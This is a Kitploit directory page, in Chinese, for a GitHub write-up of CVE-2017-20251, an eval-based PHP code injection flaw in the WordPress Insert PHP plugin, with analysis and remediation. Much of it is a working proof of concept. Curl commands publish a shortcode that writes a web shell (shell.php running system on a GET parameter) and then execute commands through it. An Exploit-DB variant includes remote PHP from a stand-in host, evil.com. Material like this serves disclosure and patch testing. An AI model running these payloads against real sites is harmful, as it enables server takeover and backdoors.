Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2017-20251 — 插入 PHP 插件 PHP 代码注入 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

插入 PHP 插件 PHP 代码注入

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-20251:Insert PHP 插件 PHP 代码注入

漏洞标题

在 Insert PHP 插件中通过短代码处理实现未认证 PHP 代码注入

基本信息

字段值
CVE IDCVE-2017-20251
插件Insert PHP (现名为 Woody Code Snippets)
受影响版本< 3.3.1 (测试版本 1.3)
CWECWE-94 (代码注入)
CVSS v3.19.8 (严重)
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
披露公开 (Exploit-DB 41308)

描述

Insert PHP 插件 3.3.1 之前版本存在远程攻击者可通过短代码注入漏洞执行任意 PHP 代码的问题。该插件注册了一个 [insert_php]...[/insert_php] 短代码,该短代码直接使用 PHP 的 eval() 函数对短代码标签内的内容进行运算,未进行任何清理或验证。

能够创建或修改文章(通过 REST API、XML-RPC,或具有贡献者/管理员权限)的攻击者可将任意 PHP 代码注入到任何渲染其内容的页面或文章中,从而实现 Web 服务器上的完全远程代码执行。

技术分析

根本原因

漏洞存在于注册为 the_content 过滤器的 will_bontrager_insert_php() 函数中:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- 漏洞点
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

关键问题:

  1. 短代码内容直接传入 eval(),未进行任何清理
  2. 未执行身份验证或权限检查
  3. 未验证内容是否来自合法的代码片段文章
  4. 过滤器运行在优先级 9,在其他 WordPress 过滤器之前处理内容

攻击向量

  1. 初始访问:攻击者创建或编辑一篇包含恶意内容(含有 [insert_php] 短代码)的文章
  2. 传输:短代码以文章内容形式存储在 WordPress 数据库中
  3. 执行:当任何用户查看该页面时,WordPress 运行 the_content 过滤器
  4. 影响:eval() 在服务器上执行任意 PHP 代码

利用条件

  • WordPress 站点已安装并激活了 Insert PHP 插件,版本 < 3.3.1
  • 攻击者必须能够创建或编辑文章(贡献者或更高角色)
  • 在 WordPress < 4.7 中,REST API 允许未认证创建文章(实现完全未认证 RCE)
  • 在 WordPress >= 4.7 中,REST API 创建文章需要认证

影响

严重性:严重

Web 服务器上的完全远程代码执行 (RCE):

  • 在服务器上执行任意 PHP 代码
  • 读取/写入 Web 服务器用户可访问的任何文件
  • 从 wp-config.php 获取数据库凭据
  • 安装 Web Shell 或后门
  • 横向移动到其他系统
  • 完全破坏机密性、完整性和可用性

PoC - Curl 命令

步骤 1:创建包含恶意短代码的文章(已认证)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

步骤 2:访问文章以触发代码执行

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

步骤 3:验证代码执行

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

替代方案:直接 eval() 测试(简单证明)

root@kitploit:~
# 创建文章
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# 触发
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# 验证
cat /var/www/html/rce_poc.txt  # 应输出:RCE-SUCCESS

Exploit-DB 参考(未认证,WP < 4.7)

对于允许 REST API 未认证创建文章的旧版本 WordPress:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

响应示例

当处理存在漏洞的短代码时,eval() 会执行内部的 PHP 代码。对于标记文件测试:

root@kitploit:~
请求:创建文章,包含 [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
响应:文章创建成功

请求:GET /?p=POST_ID
响应:页面渲染,PHP 代码执行,marker.txt 在服务器上创建

验证:
$ cat /var/www/html/marker.txt
SUCCESS

推荐修复方案

  1. 立即操作:卸载 Insert PHP 插件,或升级到 3.3.1 或更高版本
  2. 替代插件:使用现代代码片段插件,如 WPCode,它使用安全的执行上下文
  3. 如果必须使用 PHP 片段:确保只有受信任的管理员才能创建/编辑文章,并考虑对非管理员禁用 REST API
  4. 加固:设置 DISALLOW_UNFILTERED_HTML 常量(尽管这并不能完全缓解问题)

补丁分析

已修补的版本(3.3.1+):

  • 将短代码从 [insert_php] 重命名为 [wbcr_php_snippet]
  • 移除直接的 eval() 使用,改为安全的执行上下文
  • 在 REST API 端点添加了身份验证检查
  • 在执行前实现了片段 ID 验证

参考

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • WordPress 插件页面
  • CWE-94: 代码注入
下载工具